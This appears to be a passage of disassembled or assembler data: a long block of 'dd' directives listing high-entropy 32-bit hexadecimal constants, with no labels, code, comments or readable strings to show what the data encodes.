		dd 0EBD98378h, 1F038DB3h, 5E0064B4h, 0F66869DAh, 12727DA7h
		dd 730EA96h, 0D0FAC954h, 0B149E760h, 838FB600h,	9C0EED42h
		dd 0DE350FC1h, 3A6E973Bh, 44C3A960h, 0D85C5727h, 91860714h
		dd 1420477Eh, 1E947B76h, 7AD53D04h, 402A3E80h, 4FF86183h
		dd 0D6E5BE00h, 66A2188Bh, 0EAD200ADh, 0C69F633Ch, 0C00FEAAh
		dd 0F2424145h, 0C866057h, 26C00527h, 13BE429h, 61AD8151h
		dd 7F10C590h, 14099030h, 8C185599h, 1196516h, 0AC9BF76Ah
		dd 213EE0EAh, 82AA4800h, 84CC70B9h, 9060BF1Bh, 7101259Ah
		dd 0F776D07Dh, 0E8605FCEh, 0B8691493h, 4600FB2Fh, 3B2AB64Eh
		dd 0DE263F59h, 11800E77h, 1E0D07E9h, 0D4701EE4h, 97B5407Bh
		dd 0A8DAC109h, 3CE91500h, 0E012C476h, 374C7545h, 0C0B85BA4h
		dd 0C0B4AF82h, 0F43C6273h, 0E6B08072h, 79261EA0h, 0C6600A8h
		dd 0E22ADDFBh, 77B07258h, 0B3435E1Ch, 0CE7FA143h, 0AC600019h
		dd 80A9D9B6h, 10968D2Ch, 0A4F37B0Ch, 0C27F1C60h, 7EDF9Eh
		dd 0E036A715h, 8798AA33h, 505C1131h, 81F40399h,	0E80103B1h
		dd 8E1FA098h, 0E3F00E7h, 0BE3FD1CDh, 3A1758DEh,	2E00F2EFh
		dd 0C74B2F79h, 28D21170h, 0EC19EEh, 49BD5945h, 0ACA7A9Bh
		dd 0DF13D309h, 251C601Eh, 1FEB00C3h, 8028F50Bh,	6D16A123h
		dd 8E0091DBh, 0B72A255Dh, 0B4DA00AFh, 84B03059h, 0BA1DBC31h
		dd 684051D1h, 8CEDC28Ah, 73C57B79h, 90524950h, 1CEE7400h
		dd 7303A7D6h, 2DE2F300h, 80F56D45h, 0A5FB0192h,	3FE1D7F1h
		dd 546C03h, 8D0EE310h, 93F489h,	0A645574Dh, 0DDDAF374h
		dd 94248578h, 0B580B40Eh, 44D135B0h, 43B0907Ah,	0A2CB1DA3h
		dd 3E1F6D87h, 0DFA80088h, 18BDFC85h, 1305504h, 0DC98637Dh
		dd 0F01300B8h, 0C48B3F0Bh, 0FC025DA8h, 0F51B8545h, 0E047C391h
		dd 103D8CEh, 0E2724FFBh, 0F86ED214h, 9400A7FAh,	9C89A181h
		dd 3DB65ECFh, 4B3A3B8Bh, 9DB04387h, 27DC0B9h, 0FD16D142h
		dd 3C406C2Eh, 0DD309479h, 1059006h, 46CA1705h, 0C49F9E4Ah
		dd 7207E76Fh, 0BF18ABC1h, 57637830h, 0C425828h,	8C9ACA02h
		dd 0D4C8FACFh, 0A80E3F2Dh, 0DCF42884h, 49420D03h, 8FC8006Ch
		dd 9A92993Ch, 0A3BFAD7h, 515D80A0h, 24AA4068h, 0A7252E2Ah
		dd 0CCBE05C8h, 9BC84074h, 6C974A6Ah, 2BE26300h,	30B60F4h
		dd 417600F1h, 242AF28h,	0B200E98Ah, 0B0E11B13h,	3836B4DBh
		dd 0B10BAC75h
		dd 0D100405Fh, 51F61E29h, 210A2500h, 6059A4B6h,	4D0607A5h
		dd 2093AC05h, 0D27BB75Ch, 80667F3Ah, 44AB819h, 1B9CB8Fh
		dd 7EC9A64Fh, 0E0CE9F7Bh, 9170BE77h, 9607C7F6h,	0CCB5BFB2h
		dd 85A8BCD0h, 1EAA00C3h, 406D012Ch, 9A00FCF6h, 42C1FAE5h
		dd 8F2886h, 0DA1DFBE0h,	121697AFh, 803F47Ah, 83092A80h
		dd 0D2B080F3h, 2B40002Eh, 653C68C8h, 51F2B9BDh,	4C0360FAh
		dd 9E05C1C7h, 0EDB6D837h, 4DF700CDh, 55CCCBAEh,	8800856Eh
		dd 59C7167Ah, 3EA32369h, 0EBBAF2C4h, 0EC67216h,	0EC401A20h
		dd 15C0DF99h, 6EBD7900h, 96A52DA9h, 28B1005Ah, 0DC1FAD6Ah
		dd 0ABFA68B4h, 0B8F64B00h, 4F8EB95h, 596F0063h,	40CE1341h
		dd 7907B67Dh, 1C8AF41Bh, 0C507D550h, 0BEBC0765h, 418EE0h
		dd 5444B63Ah, 0EF23810Eh, 0D8778053h, 7DD9E37h,	0D3DAF4BDh
		dd 6D0BD045h, 4E00D9EDh, 1E839AA6h, 7516F8h, 0E966CE64h
		dd 5BE62B5Ah, 0ACD2C601h, 96BE0723h, 0E3AAAC0h,	41127391h
		dd 866F5AA0h, 9BFCE7ABh, 0A52182C7h, 0F75DED00h, 9DE0260Fh
		dd 720009Eh, 1C23B6D5h,	0DBF4BA7Bh, 0EAC9BE03h,	0B03FE547h
		dd 26F3D8h, 7D83198Ch, 0A9E8891Ch, 63755E1Bh, 0DE74F1h
		dd 0E556EA59h, 0A2395360h, 2FE26102h, 8EF5B596h, 0C2E9849Ch
		dd 604225C2h, 1C5A73CAh, 56557530h, 814000C7h, 0C1D91734h
		dd 0F074CA30h, 43F332FEh, 87623994h, 175D0E66h,	0E4C8C5F0h
		dd 0DFD702F0h, 59425558h, 465380A0h, 0D824D9ABh, 0E307848Dh
		dd 44E0A752h, 1E48E686h, 0C1DEEE4Fh, 2274810Bh,	0C4E5EC6Fh
		dd 0F4E77701h, 14501B01h, 21C9CCh, 4E555CC8h, 2A571DE6h
		dd 0CD3FF4F2h, 978380D2h, 7C5DE58Ah, 4E8800BFh,	42FA3307h
		dd 190F1C8Bh, 23F78E14h, 0C02741FCh, 1C893F4Ch,	80D0113Ah
		dd 0FF16E4F6h, 6100F9E0h, 0D5E27041h, 1E3B6D1Bh, 0CF216439h
		dd 5F273566h, 0C01474B1h, 84EF96FAh, 0C76E1700h, 66F7876Fh
		dd 1F4C7997h, 7B01B736h, 150B6658h, 93FC8144h, 0F8865700h
		dd 0FA4CB76h, 9342729Dh, 2E8A45CFh, 123147C4h, 0C890BAC3h
		dd 6F00808Bh, 0B2EE6ABBh, 1F9C97h, 9399FB96h, 3CCD9A7Dh
		dd 0FF7E3Ch, 0A60D1115h, 791AA0Bh, 21BD090h, 0F2E1001Ch
		dd 88A0713Eh, 0A0E89237h, 70D6CA0Eh, 82E7A764h,	5E14E47h
		dd 6E60662Dh, 40770004h, 36299A6Bh, 130485DAh, 66A579B7h
		dd 0BB61BBC0h, 1CC7001Dh, 0FC164547h, 9E1DB1DDh, 0E7C02997h
		dd 0D903824Fh, 8F1C0788h, 1E5BE56Bh, 4C5AB281h,	3363E060h
		dd 8501A0E2h, 9F4A19E8h, 0A6306F56h, 0E2A53AC9h, 0A0CCB700h
		dd 98936084h, 78858930h, 0E0C82A22h, 1DFD040Fh,	0D026107Ah
		dd 45253A60h, 0A2FA10Ch, 3BC82Ch, 39BA7B1Eh, 68880662h
		dd 8D00C57Bh, 0F5FF779h, 3D3A0342h, 64002D18h, 46F2C206h
		dd 970087FAh, 3E51AEDAh, 7B89C8h, 8D26F7A0h, 0D72FD34Dh
		dd 0B337B4C0h, 0A4C35BDh, 27F47348h, 92CA009Dh,	0C1E3DC79h
		dd 9E117D03h, 0E0B63DC6h, 1DE161B5h, 0FD69DC8h,	1100A584h
		dd 42608B62h, 0DBA8B007h, 4F206487h, 156B12h, 79B58AC3h
		dd 39FFF621h, 90CC6002h, 0E0B3FEE9h, 0F42EC5Fh,	0D74C6BF3h
		dd 120FEF60h, 0BD00C6F2h, 0A6AC1557h, 2420D5E4h, 10362Dh
		dd 0E9C5FA9Fh, 927E4F45h, 180E5000h, 0E2D80B98h, 0C9C00081h
		dd 9785C7BCh, 149807ABh, 29005F7Ah, 0B4B6FA5Dh,	0A403E9h
		dd 0A6F9EFADh, 0FEA7E1DCh, 4952D900h, 4CB4D7A1h, 0BBD500ABh
		dd 101EA851h, 0EF00A79Ch, 0CD38E3FFh, 962106h, 0B81FC2C8h
		dd 0B0EC63BCh, 0A119F300h, 17CD10DAh, 0AC850348h, 0F00657B6h
		dd 76AB608Fh, 0D4055E7Eh, 0CF5B0FE5h, 4C508D80h, 427289h
		dd 670DB0EEh, 0E51BD1Ah, 473FC200h, 998B8A8Dh, 0D9211FD8h
		dd 0D340C0DDh, 5AEA139h, 78000FF4h, 0EC83F88Bh,	0ED1FCDh
		dd 0D457489Bh, 561524E2h, 4AA0D90Fh, 4E9E4062h,	3E72DCFFh
		dd 0FE0097DBh, 3AD6EBA3h, 20399F9Ch, 8D9281D3h,	0FCD9618h
		dd 10868CCh, 7DE0034Eh,	0C0B8D0F8h, 0C700C367h,	23BEE42Fh
		dd 7D7157FEh, 0A5A30035h, 0E60A3933h, 0C0A0FBFCh, 7F3A31EBh
		dd 0EA340044h, 86E13A1Dh, 0FF3F0055h, 0D136AE70h, 0F400A06Eh
		dd 92759A38h, 797799E2h, 7A97008Ch, 0AE0E98Dh, 0B104E6DAh
		dd 0DB7D1ABDh, 0EA8AD600h, 1E00FF71h, 5D693087h, 1C0D54BBh
		dd 80F0FDE7h, 84526BF2h, 0A000B6E1h, 0AC3F5D15h, 7DEB11Fh
		dd 727DC859h, 0EE2D7EDh, 4A33B461h, 30E980D9h, 915088FBh
		dd 5525009Ch, 0B072ECC6h, 1401D694h, 3EDF4D7Ch,	48D4B966h
		dd 0F46C079Bh, 13A85F4Ah, 0B590D82Fh, 0F07A513Bh, 95544600h
		dd 0D3B7AE12h, 80F242Dh, 40411E5Eh, 61586F7Eh, 0E4003003h
		dd 0B7B1399Eh, 1D2F8528h, 8016D253h, 0CFDFF371h, 9E00625Ch
		dd 33A201E4h, 542B0F26h, 87B439h, 0DF4A549Bh, 0CE415B80h
		dd 0EF87E00h, 0C42BBE5h, 0A722002Bh, 938130D9h,	2D00F7F6h
		dd 20CE092Eh, 0F0CB085Ch, 100F6359h, 94916236h,	0D2B4407Ch
		dd 33006FEEh, 0D14137F6h, 16A02423h, 3D0476h, 0F77BF195h
		dd 6E1DD0AEh, 0C500DCBCh, 0ABF19F4h, 4E77B3h, 0FCF0E0C9h
		dd 9CD35968h, 8055283Bh, 0A1AF3931h, 384E219h, 8236ACD1h
		dd 4CA35021h, 3C52D0B8h, 4FDD9100h, 0E0F9E275h,	1DB1207h
		dd 30C009Ah, 0AD68CFCCh, 0E25C4B0Fh, 60417FB3h,	4E963746h
		dd 0ABDC80DAh, 0F2833A4Dh, 0A0AF0476h, 0C7750B32h, 151DA0FCh
		dd 58001C20h, 4CA319ABh, 4DC1F0h, 0C9A46F4Eh, 0B3DDE52Ah
		dd 66947300h, 22D46C76h, 0DAB603BCh, 97B9D920h,	0F108C4C8h
		dd 500CE7Ah, 77116A90h,	503A1F87h, 4A9838h, 6931C133h
		dd 0DF21AB74h, 29DA0D00h, 30729379h, 1B4B004Fh,	69F57C28h
		dd 0B100B8D5h, 80063F6Ah, 5BA784h, 89C2D12Bh, 0BABDCB49h
		dd 0A421C560h, 78FECAE5h, 0FCD60034h, 3C11A032h, 0BD0002EAh
		dd 90557FF1h, 46D7DE6h,	0B8A3BBC2h, 98480A5h, 0BD395F3Eh
		dd 0C1AF1D73h, 1A447583h, 981BD039h, 71030185h,	45B9588h
		dd 4AD0807Ah, 0BCD146F3h, 0E1150241h, 5D3BF206h, 0C0BFBC41h
		dd 62E2717Ch, 2D6C10C0h, 3968D61h, 0D537416Ah, 0A1C0356Dh
		dd 0E0086BEh, 0EA7EAA02h, 9FA408h, 0E9C1520Dh, 7A12604Ah
		dd 0BFBB1700h, 22B543BCh, 2780047h, 31189B0Fh, 5400AA5Dh
		dd 5DB8A06h, 3FD13723h,	50805527h, 665F651Ch, 0A43B4917h
		dd 210270CBh, 0E891D248h, 0C3A068CEh, 2FA900C2h, 5E51EBF4h
		dd 7E00DBB3h, 8E8D45A2h, 9374F9Ch, 0A9C7E617h, 85BF0780h
		dd 0CC603FA5h, 0F1DA2A51h, 0FB7E075Bh, 80FE0BB2h, 4216B9DBh
		dd 7FC0C403h, 80A61E2Fh, 7ADF237Bh, 539B0005h, 0B51203B6h
		dd 55003A47h, 3E79C246h, 0B801DF0h, 86F1BB6Ch, 9D408A00h
		dd 7F00D86Dh, 1E30CF89h, 52414Bh, 84BA28DBh, 4FE895FEh
		dd 0E4CB5A13h, 0EB627C40h, 244408F5h, 255E8Dh, 76588814h
		dd 5D056AADh, 35EA2A91h, 805F3A82h, 0F8CED1CAh,	20AE62D4h
		dd 346822E9h, 6200AC09h, 421CC33Dh, 0B3DA94h, 192CFBDEh
		dd 2D6A8DC1h, 0C740B560h, 1EC064Eh, 0B1943F53h,	801B3823h
		dd 3D083B91h, 0C817C26h, 4DC9EDF4h, 0FE60C718h,	71DC2C56h
		dd 0C6A307AAh, 0B0DAE025h, 0A05C276Dh, 6E14B200h, 987AEA69h
		dd 0C425028Dh, 86A57B87h, 6AB968E3h, 286FD87Fh,	0D89BAA09h
		dd 780FD11h, 0C7B825E5h, 0DD6E2603h, 0A86133F7h, 0F2D4F0C9h
		dd 0F1CC00A5h, 0EE580640h
		dd 0B900EF2Eh, 33FB4590h, 1B81E12h, 0AFE4E96Ah,	20E3A1F5h
		dd 56003FFCh, 0FFFC22EDh, 741C398h, 5B286E69h, 0BA9E214Eh
		dd 72386052h, 959AA600h, 0A908CDBBh, 30D203A3h,	6481AC55h
		dd 7801C3CBh, 0C48AF8E3h, 94504A32h, 71C81A35h,	0CD8E3F1Eh
		dd 0CF3DF382h, 48906AACh, 2CE02E3Fh, 31AD3618h,	44CD38h
		dd 9DFDDC7Bh, 0D70AF391h, 0B0E16701h, 0FF57393Ch, 50287082h
		dd 0B8807FF0h, 8E73970Dh, 0B59E4A05h, 0A0098F68h, 25C4805Bh
		dd 6DE5A2h, 81E10C0Bh, 0BB75EEC8h, 1E52DC13h, 2A237A00h
		dd 248A94B5h, 0B8F6B7h,	0FACD0D70h, 7B73035Dh, 5C98EC00h
		dd 211A41DDh, 2CDB000Eh, 0F43C0164h, 55038FD7h,	4977B09Eh
		dd 65D5F8A6h, 80980073h, 37484C83h, 0D800AB46h,	0BCD9B46Bh
		dd 24C99E29h, 1240EAFEh, 84E1A73h, 0A05B0082h, 0D9479048h
		dd 0B7C5F5Ch, 89537Bh, 0BBD802Ch, 43F70ECBh, 0B3A0E6C6h
		dd 0E73A7AD8h, 0B9002FE4h, 961D800Ah, 58E1584h,	0B86BF436h
		dd 0E750C0F3h, 200B4EEh, 19620B29h, 7C4F64h, 2B03F0AAh
		dd 0CAACF14Ah, 65002FFEh, 0FE96C13Bh, 0B8082241h, 1C9024F1h
		dd 0BC1E80F0h, 0A9532D36h, 222CF905h, 0FAC0E2AEh, 74AA237h
		dd 9DB62EB2h, 0AC0E4088h, 711C764Dh, 590399B7h,	0D821503Dh
		dd 9132E0h, 0F2E996A4h,	9DC52D98h, 6B84BC50h, 0D40CC600h
		dd 63A8FDE4h, 0CE3700CAh, 904C3478h, 0E812D18Ah, 3440E0FBh
		dd 65A8ABC6h, 788E3C18h, 958CB780h, 0EAEDCCFBh,	80601239h
		dd 70DF0DCEh, 3B1025Eh,	0CF36E6D6h, 97E80656h, 9F002A9Eh
		dd 0A9AED8ACh, 98C3843Bh, 52BC1360h, 64144040h,	0F5314FEAh
		dd 4A17CF08h, 53CC0035h, 63EC6F08h, 6273D8FDh, 9261CF3Fh
		dd 5400F25Ch, 14E7DE68h, 76CC7ABBh, 1A82187Ah, 0B1F2E8B8h
		dd 0D8A0089Ah, 2A5D842Fh, 273E44h, 5C4D22C2h, 0FAC5C9A8h
		dd 7550C0F6h, 80C69B46h, 84A41609h, 27C0201Ch, 2CB319Dh
		dd 3BCCA3ACh, 48E22FE2h, 0EF5B8C80h, 36006028h,	7E5869C3h
		dd 260AC05Eh, 8758976Eh, 30D0CAD7h, 0DDDA79F2h,	42008FF8h
		dd 5843084Fh, 3C95D84Ch, 2BD87CE2h, 0A8446006h,	300782Dh
		dd 0CE2A29DEh, 0EA3FC95h, 38F7FED7h, 6AEF21B8h,	37E13503h
		dd 0ABFBA73Ah, 1EF0E0C4h, 0EE870739h, 0B08B749Bh, 0B93D3676h
		dd 21042C00h, 6C03110Dh, 688C5C5Bh, 1816CE00h, 0A0B21E92h
		dd 157C81Dh, 843D72C0h,	0A59704Fh, 0B99866BEh, 0C7C500ACh
		dd 0CFD61B07h, 1D75D913h, 30626C42h, 1C5064E0h,	84A84948h
		dd 80B35C94h, 3385F1B0h, 8DDB670Fh, 4C50C5F5h, 0F2BDACC0h
		dd 0D46F04E7h, 828656CBh, 98C079EEh, 530E3EC6h,	0A1906276h
		dd 9A9F8DBDh, 7871820h,	0E93DB718h, 0AA5A0210h,	828CC90h
		dd 66696705h, 0F841051Ah, 0A8F6701Fh, 545C34h, 0CB7D1579h
		dd 0FE27DA81h, 94B17200h, 5DBE8BFAh, 0A5710061h, 25B8AEFDh
		dd 730301F9h, 0E431B2Dh, 0BC0AE53Dh, 0A00F771h,	952FF186h
		dd 0DA963E3Bh, 51F52680h, 38DE8CA7h, 2916F3Eh, 807D5968h
		dd 78CAE0F8h, 331300D1h, 0AAE4D0F2h, 0D4B001BEh, 98A07205h
		dd 30C2AF68h, 65DA40C3h, 0ADE800F9h, 0FD0B4D89h, 68583274h
		dd 0A1DD00D6h, 0B7DAA8EFh, 1359001Ah, 495011E5h, 0BA1FA064h
		dd 0EB00D919h, 28FA882Bh, 0D4620EC8h, 5301524Eh, 0F44B718Dh
		dd 20F6F35h, 5820E687h,	0B0A8121h, 9BC2B315h, 1DCB4900h
		dd 0C6001B05h, 79182710h, 913685Bh, 857B3243h, 7A55AC80h
		dd 0AF72DBF4h, 5E128703h, 90638C78h, 185B5FC2h,	10542A90h
		dd 84009AC7h, 512D29A1h, 24B1B9h, 25B2AE4Eh, 9EAD9D55h
		dd 85E3EF00h, 62F4446Ah, 9CE0B8h, 1ECDA58Eh, 25DEAFA4h
		dd 0A2D3B203h, 0E879F170h, 782CD94Bh, 4DAA00F9h, 1D1F02Eh
		dd 461E9299h, 0AB83448Eh, 0A74285h, 543DBA67h, 8A18280Ch
		dd 76095900h, 388199Ah,	0C4210001h, 0CDED10ECh,	0EF001882h
		dd 0DCE99DF4h, 149BC0Bh, 6665286Dh, 3475A7BBh, 7C9A2160h
		dd 26C39A3Bh, 0BE876074h, 2EE0124Fh, 2E1D3713h,	0D35FF9h
		dd 20999306h, 0F760EA04h, 62B64310h, 8275B5h, 0CF260FD1h
		dd 0CA941519h, 0EF1E48h, 4107E3EAh, 23B2ED3h, 0CF70DAC8h
		dd 0F8429EEEh, 0E3685040h, 25803Fh, 41C0DDD0h, 5C650AFEh
		dd 77B588h, 31F9D68Ch, 39456614h, 36E0C0Eh, 627F80D8h
		dd 48A09138h, 6802D8E2h, 561196FAh, 0CA659CE8h,	7F0BEB1Ch
		dd 6E42BEC0h, 3A1383C8h, 3F83D257h, 7807A9Bh, 348D97C0h
		dd 79ECF158h, 94C3C900h, 95C4FE81h, 0BDAD0184h,	56335FCEh
		dd 0F2F04064h, 9D00B1A9h, 0F068778Eh, 48BA7h, 4CA19F1Ch
		dd 0CA352D4Dh, 762E1000h, 94081E6Dh, 0F4470054h, 0B005B5E8h
		dd 1C075DEBh, 5A55D475h, 13494FF0h, 3BAA008Ch, 81D24B93h
		dd 910047AEh, 8E5D6AB9h, 2432DC9Bh, 0BC288Bh, 0F2E4EBEEh
		dd 82006B96h, 1C5B7368h, 22775Ch, 0AB8E946Fh, 28D9DFFAh
		dd 0DDE6D507h, 0E4FE292Bh, 60C082D0h, 6A5C96h, 0BAC7B8A2h
		dd 5A938809h, 26703Eh, 2817D19h, 13C272D8h, 0F0FF11h, 0AAA8516Bh
		dd 6B008D89h, 2E35F64Eh, 92E5F24Ch, 50520E28h, 8B815461h
		dd 0E04D5364h, 0CCA08DA9h, 44079AFBh, 4E85B220h, 25BAB470h
		dd 0AFD5E95Fh, 926430h,	95042DD8h, 786DF8C3h, 0EA02B5EAh
		dd 3F304845h, 9145974h,	0C580859Ch, 5AF71BB6h, 0D2F1332Ch
		dd 0A753800h, 397EEE9h,	96193631h, 0F0A33508h, 0BDA43398h
		dd 7FCA9B0Fh, 8BC08029h, 502F3DA8h, 0F6BECC8h, 0C743F2D1h
		dd 48768A0h, 0A603E31Bh, 64C81F9Bh, 0A58590ABh,	0C92C0065h
		dd 9D4B157Dh, 9B006F76h, 0F1B9B73Bh, 0EE7126h, 0F7CCF6C2h
		dd 747759C9h, 9C977C3Eh, 0F56632A1h, 10992B0Ch,	0EEB500E3h
		dd 9FA31F13h, 0E900111Bh, 39FBC170h, 0A1EAB4h, 812CBD0h
		dd 92DDDE10h, 437CA40Eh, 0C7D640D7h, 0FA477542h, 25F70013h
		dd 0AA5240A1h, 0F036420h, 12BCC9D4h, 57F5A80Bh,	893B007Bh
		dd 468B397h, 0A22532F2h, 6D3800E0h, 7141ECFCh, 4F4928F9h
		dd 608E00E4h, 3855B53h,	5412D8C6h, 0A40380EFh, 0F83CFAFDh
		dd 303A5823h, 0B1B80DBEh, 0ACB85A08h, 8045FE3Ch, 4E3E1853h
		dd 0FAA00F98h, 0E4202C49h, 0E060000h, 0A307F2F0h, 0BE0051F8h
		dd 8695058Bh, 3F0ACBCFh, 8F00EE7Eh, 7B0443A7h, 54251BE9h
		dd 3E8801B4h, 0B980EE84h, 0EF941614h, 953AB720h, 332E0F1Ah
		dd 0CA213BC9h, 301C8025h, 0F6C842h, 4CB9F7Bh, 4AE7BCE0h
		dd 1CF3CE00h, 296CF795h, 82730074h, 0A2775DE3h,	0A51EE07Ch
		dd 5707C73Bh, 24F172A6h, 4887FEF5h, 26FA4E35h, 460760ABh
		dd 0B463CBA7h, 905EB40h, 15EE0082h, 1ADCA9DFh, 609FA6C0h
		dd 75290AB8h, 0C8F73887h, 0EFCA1FF7h, 3A5B4035h, 2A83D9DCh
		dd 0DB7A2C0Ch, 2C89DAF8h, 6B51E0h, 9EFB4516h, 0E100C791h
		dd 7D2284ACh, 3E373E94h, 90B8C8Ah, 3687670Ah, 0DBC7C38Bh
		dd 216C22A1h, 0CA2085D2h, 48D789E1h, 0F549091h,	2E30C6E7h
		dd 0BE7D18h, 3ADB608Ch,	88F996B1h, 1FABFF41h, 71EDECFh
		dd 80A2A074h, 0B1F92763h, 2A5C7380h, 7BB8BC06h,	0B6DEE3Ch
		dd 8EC289B5h, 0B4EBC4A4h, 85601B6Ch, 0B63C2289h, 450C0A1h
		dd 0BADEA619h, 3AD19260h, 0A89BC40h, 3227888Bh,	5FD0020h
		dd 7BDF6EFh, 6000A04Eh,	0A49D1C17h, 6D25036Eh, 8A552C94h
		dd 910ED6E0h, 33574B3Dh, 3756009h, 0D36D02C1h, 0A9902927h
		dd 0AC3F0451h
		dd 7E79809Eh, 412265B7h, 0E2960050h, 2C8C06FCh,	7D00ED5Ah
		dd 8BA1CD73h, 0FEF6620h, 9FA6F668h, 0CFCE7C87h,	0FEA23040h
		dd 0EC00EEFCh, 53E0F931h, 17AE33h, 8250A976h, 3DB16CA4h
		dd 249D100h, 9557D90h, 80E80372h, 2A4D8B7Ch, 0BF978400h
		dd 9585AE4Fh, 54EE0046h, 0CBBADF73h, 0F901BB9Eh, 6F9C288Eh
		dd 0C431679Ah, 8869009h, 10B69DC2h, 5E50B27Dh, 0D2006480h
		dd 0B6828E5h, 0A0B0C790h, 6A0F0D0h, 0FFFB2C8Dh,	0BE22295Dh
		dd 0D5ED10E4h, 103C21B7h, 43DA88A6h, 51229921h,	0BE703ED8h
		dd 61679E8Bh, 6F0480FDh, 3D88F31Ch, 0BD01165Dh,	0BB7A645Fh
		dd 1153D4B6h, 148DE4EFh, 8C5D6E02h, 0C8466059h,	1765728h
		dd 5C4F0EAh, 0C0104E21h, 0F1C5976Eh, 3081425Bh,	0FAD03D9Ah
		dd 6FA50736h, 40C757A6h, 0E3E577F4h, 0C00CEFAh,	7CDA01Ch
		dd 0D9CC38h, 643913Ah, 8DB0EF4Eh, 0AEE1F801h, 73E5AA20h
		dd 3D3CC0C6h, 0FC4B10h,	0BD3F08ACh, 310F186Fh, 0A571EF91h
		dd 0D4C16223h, 2BD0B057h, 1DA3007Fh, 0A5539428h, 4C00773Eh
		dd 0AEDD0248h, 681F5C4h, 2138333Fh, 7600C0BEh, 710C89B9h
		dd 3EDD5717h, 0E700ED1Dh, 0C97E3F3Ch, 0D013FC56h, 0B5007A9Dh
		dd 9B36B986h, 2FDD1DBCh, 76D8CC0Fh, 0E012CD80h,	70A08EB6h
		dd 0FA3A1843h, 0ED6C2E71h, 0FB47911Ch, 315D3280h, 1861E887h
		dd 4294AD7Ch, 0C501733Eh, 0AAA914D0h, 5870F582h, 0EDF87Fh
		dd 0D5845074h, 0B2EAC75h, 5AB4431Eh, 0ED3F5C1h,	0C0CC783Eh
		dd 7D70AAh, 61A204CCh, 0AD717782h, 796A5B00h, 72835712h
		dd 58FE70h, 55448AF4h, 2140A4B1h, 0C5C43713h, 0FC2EDC41h
		dd 0FFC31C6h, 0A4383F96h, 9D29CF87h, 872690C5h,	180021C7h
		dd 6D71F689h, 0B0B8CB69h, 67290057h, 0C0DBF46Eh, 6202177Ah
		dd 0F6DC3430h, 0A424E03Bh, 14354802h, 4EBEA882h, 8B000470h
		dd 0AB015ADh, 10D5DFBh,	0B298BC93h, 0E2FAE57Fh,	590F5860h
		dd 0EC01E5Ch, 40554E1Dh, 0D3860104h, 1391032Bh,	1142B9ACh
		dd 0FE0BC0C8h, 30F4D21Eh, 630FED80h, 3D40C6DBh,	0C100EACFh
		dd 0CA712A8Eh, 2E007CD6h, 0FFDE789Fh, 0E16E99h,	673E2864h
		dd 0E587611Ah, 38257200h, 413A2962h, 121EE6BBh,	0D44EC2EDh
		dd 39B000B4h, 0F932BE2Eh, 3C3A7B00h, 0F19F373Dh, 0A8F47Eh
		dd 8EA415CEh, 0B1A11E21h, 0A232400h, 229252FEh,	5C500F1h
		dd 2BC691BCh, 2859664Eh, 9ED3009Ch, 0C1D4FF08h,	0A00A4811h
		dd 69840E3Dh, 80C0B6BCh, 0FCB0460h, 0B0FF9500h,	0E201C4F2h
		dd 0CE78F4h, 68FB39EDh,	0F7BE44EBh, 0D54BD609h,	2EE000C2h
		dd 1E1FDAAFh, 80F3FE6Ch, 0C1E0AE4Ch, 400188BAh,	272202D3h
		dd 84E86F66h, 0DD2609A7h, 6C054F13h, 7374C741h,	46C8899Fh
		dd 439D308h, 49FA00F9h,	288612Fh, 70931283h, 67B3004Ch
		dd 5BECE53Dh, 6A1DEE00h, 692E7803h, 0EA922D5Ah,	7C00E0D0h
		dd 77F1306Fh, 39B4678Bh, 8C80070Fh, 7DAF5245h, 0CF00D2F8h
		dd 0C7447BEh, 0B394ACh,	0A72C4604h, 1786A82Dh, 9C89FC28h
		dd 830036E2h, 7E30EF18h, 0EE9E13h, 0EBF31EEAh, 0DD396274h
		dd 43EC9A01h, 9401963Ch, 0D8F070h, 0DFCBD2E1h, 6CCD7DAh
		dd 0B625E0F7h, 0BD9ACE14h, 9EC2049Ch, 5A7066BEh, 3300C9E2h
		dd 374952D8h, 5DB5D4h, 0B6B3415h, 10D7D1ABh, 1EB8D25Fh
		dd 0F040C20Fh, 2DDC2BEh, 0BC409B7Ch, 1800EC98h,	0FDFE81E4h
		dd 26F3CBE8h, 78F041h, 583C175h, 0D60A2CA0h, 0ABF793A3h
		dd 61022F07h, 7AE89050h, 0C87201h, 35B8D18Dh, 150A837Fh
		dd 70CAC200h, 0A95A867Bh, 31AEC02h, 79552EFDh, 63B8CB05h
		dd 5300B9D4h, 0FB7ABA2Ah, 3BB47Fh, 39E78F8Ch, 0A331A261h
		dd 998B9400h, 8D007E8h,	0B3E4001Bh, 2BCBDE0Dh, 4E012589h
		dd 35EE43F9h, 8060E1D9h, 0BAA01FFBh, 91198FB2h,	969AFC60h
		dd 0E97109D6h, 0F1603B98h, 0CD49C308h, 464D0081h, 0A21F35C7h
		dd 16007ED7h, 0AFE5CCA3h, 0BA54F3h, 0DC24C415h,	0D06FAA0h
		dd 4A87A09Ch, 0EA0117E0h, 6FEC36AFh, 46F200E4h,	24B82C68h
		dd 67B4101h, 77B99700h,	7A27AAB5h, 0B0AC50C3h, 3BF370E2h
		dd 87804E72h, 0C8C421EAh, 3F001EB7h, 9EDB6D10h,	1B8D12h
		dd 0C94B1ADEh, 0D10C07EBh, 8B4E5F38h, 10C128AEh, 0E7A448h
		dd 0C57B9251h, 0B0A37302h, 41A25303h, 0A7D81A28h, 4FBBE300h
		dd 0CF950036h, 6FAB2BF9h, 3100AFBFh, 6A8F5BACh,	0F742F9Eh
		dd 0A1B50CE7h, 0FDCF1BA0h, 0C2007858h, 0C9DA72FAh, 0F199E4h
		dd 16C87015h, 407B4D71h, 0B463C502h, 8026ABDFh,	0C7CBD581h
		dd 0EBD1F80h, 0CD92C0E0h, 89693DEAh, 5730FCF4h,	0BCAB384Eh
		dd 0C6F20B55h, 4F049DB5h, 8D70C1F7h, 4DCC60FAh,	5E10630Fh
		dd 0D090A201h, 0E47824h, 2FBE9689h, 3682DF6Bh, 0B7CC7A02h
		dd 70C66337h, 0BCCE3AF8h, 0CFD36B00h, 0C0DF0D30h, 0C700E470h
		dd 0D0F23158h, 25C981A2h, 6380D2C3h, 6F4423Ch, 9C641D16h
		dd 8DA67CC0h, 83B09C76h, 8889BF4Eh, 0BC4691A0h,	56654F00h
		dd 8B18D502h, 5E4A00B1h, 0F043E073h, 19027834h,	0E597CC28h
		dd 6867C22Fh, 7462A2E8h, 0AB920066h, 0C99E9B5Fh, 0E000E618h
		dd 0FF13821Ah, 60BA37h,	64F4FEA1h, 0D23DD50Ch, 0F759F60Eh
		dd 0F25C22CFh, 8E9060CEh, 0F84B58ECh, 67C039C0h, 2005B579h
